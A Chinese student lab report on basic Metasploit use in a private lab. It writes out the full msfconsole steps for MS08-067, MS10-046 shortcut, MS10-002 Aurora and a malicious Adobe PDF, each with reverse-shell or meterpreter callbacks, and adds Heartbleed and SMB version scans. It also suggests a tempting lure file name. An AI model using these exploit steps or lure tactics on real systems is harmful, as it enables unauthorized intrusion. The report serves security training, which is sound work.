20155339 Exp5 MSF基础应用
基础问题回答
用自己的话解释什么是exploit,payload,encode.
答:exploit
是通过自己选择的漏洞和载荷进行攻击的一个过程。payload
是一段载荷代码,通过这段代码来运行漏洞程序进行对靶机的攻击。encode
是对攻击代码进行编码,保护其能正常运行并且改变其特征码。
实践总结与体会
这次的实践比起前面来说比较实际,但是也有很多限制条件,比如不是所有的系统都可以被攻击。
一个主动攻击实践--ms08_067漏洞
- 调用该模块:
use exploit/windows/smb/ms08_067_netapi
并且查看可以使用的载荷show payloads
- 设置payload
set payload generic/shell_reverse_tcp
。 - 设置回连的IP
set LHOST 192.168.224.142
。 - 设置攻击的端口号
set LPORT 5339
。 - 设置靶机的IP
set RHOST 192.168.224.144
。 - 查看有哪些靶机类型
show targets
。 - 在这里我先选择最简单的0试试
set target 0
。 - 成功攻击我的靶机,使用一个
ipconfig
命令来进行验证。
ms10_046_shortcut_icon_dllloader漏洞
学习了老师提供的漏洞,自己查看并且选择了smb里的别的漏洞,我选择了下面的漏洞。
查看该模块
info windows/smb/ms10_046_shortcut_icon_dllloader
可以看到它可以攻击的靶机类型以及需要设置的参数。- 同样调用该模块:
windows/smb/ms10_046_shortcut_icon_dllloader
。 - 设置payload,这里我选择了meterpreter进行tcp反向回连
set payload windows/meterpreter/reverse_tcp
。 - 设置回连的IP
set LHOST 192.168.224.142
。 - 设置攻击的端口号
set LPORT 5339
。 - 设置本地即Kali的IP
set SRVHOSTS 192.168.224.144
。 - 查看生成的文件名
set FILENAME 20155339.lnk
。 exploit
会生成一个.lnk文件,将其拷至靶机,并点击运行,查看当前sessions,然后sessions -i idnum
就可以观察到攻击机就会看到获得了靶机的shell,使用ipconfig
命令来查看是不是靶机的IP,正确。
一个针对浏览器的攻击-ms10_002_aurora
尝试了很多很多很多很多,很多很多很多很多次的失败之后,终于有一个可以用了,真的太不容易了。
查看一下该模块
info exploit/windows/browser/ms10_002_aurora
,可以看出适合所有的Windows的所有版本的IE,以及需要设置的参数。- 设置相关参数:
- 设置载荷
set payload windows/meterpreter/reverse_tcp
; - 设置模块的参数本地IP即Kali的IP
set SRVHOST 192.168.224.142
; - 设置回连的IP
set LHOST 192.168.224.142
; - 设置端口
set LPORT 5339
; exploit
这时候出现下图所示问题,这是端口号被占用,只需要找到占用端口的进程号,然后kill掉它就可以了;
- 设置载荷
- 再次尝试
exploit
,可以看到回连成功,并且可以看到创建的会话ID号为9,运行该会话sessions -i 9
,成功获得靶机的shell。
一个针对客户端的攻击——adobe_toolbutton
选择漏洞,可以到
/usr/share/metasploit-framework/modules/exploits/windows/fileformat
目录下进行选择。尝试了好多,自己的靶机也出现如下问题,这个问题可以通过修改注册表的键值或者选择打开方式来解决。
但是一直无论选择哪个都处于下图所示状态。
换了一台靶机,再次尝试终于成功了。
最后我选择的是adobe_toolbutton,首先查看其模块信息
info windows/fileformat/adobe_toolbutton
该模块需要设置的参数只有文件名称,使用该模块
use windows/fileformat/adobe_toolbutton
选择载荷set payload windows/meterpreter/reverse_tcp
,设置载荷需要的参数:set LHOST 192.168.224.142
、设置端口set LPORT 5339
,exploit
,设置我的文件名set FILENAME 20155339.pdf
文件名可以设的有诱惑性一些,比如毕业晚会安排,exploit
会生成我的PDF文档并且显示其路径,按照路径找到该文件夹或者用cp复制到自己实验的文件夹下,注意按路径找的时候需要将隐藏的文件夹设置为可见模,将该PDF文档拷至我的靶机。攻击机开启监听
use exploit/multi/handler
、set LHOST 192.168.224.142
、set LPORT 5339
,靶机上双击我的PDF,攻击机连接成功,测试一下ipconfig
命令。
辅助模块——openssl_heartbleed、smb_version
openssl_heartbleed
- 首先对漏洞进行选择,最后选择了openssl的heartbleed漏洞,首先OpenSSL是非常耳熟能详的开源的SSL,数据加密协议代码其中的漏洞的确是让人害怕。OpenSSL Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的openssl服务器内存中长达64K的数据。
- 首先查看一下该模块:
info scanner/ssl/openssl_heartbleed
。 - 使用该模块:
use scanner/ssl/openssl_heartbleed
- 设置相关参数:
set RHOSTS 192.168.224.144
,此处我没有设置IP段的范围直接确定了我的靶机;设置线程数set THREADS 50
;其他参数我选择了默认值,run
。
运行成功但是我的靶机应该是没有使用OpenSSL的服务,这类可以选择下载并且安装OpenSSL,考虑了我的计算机可能会出现的非主流问题,这类就不花大的时间安装配置它了。尝试一下更多的IP,
set RHOSTS 192.168.224.0-192.168.224.0
,exploit
。依旧是运行成功,没有发现开启该功能的主机,进行别的尝试。
smb_version
- 使用该模块
use auxiliary/scanner/smb/smb_version
。 查看它需要什么参数
show options
。设置靶机的IP范围
set RHOSTS 192.168.224.144
,设置线程数set THREADS 100
,exploit
,成功,可以看到我们的靶机的型号。再开启我的另一个XP客户机,修改范围
set RHOSTS 192.168.224.0-149
,exploit
。可以看到我的两个靶机的版本号。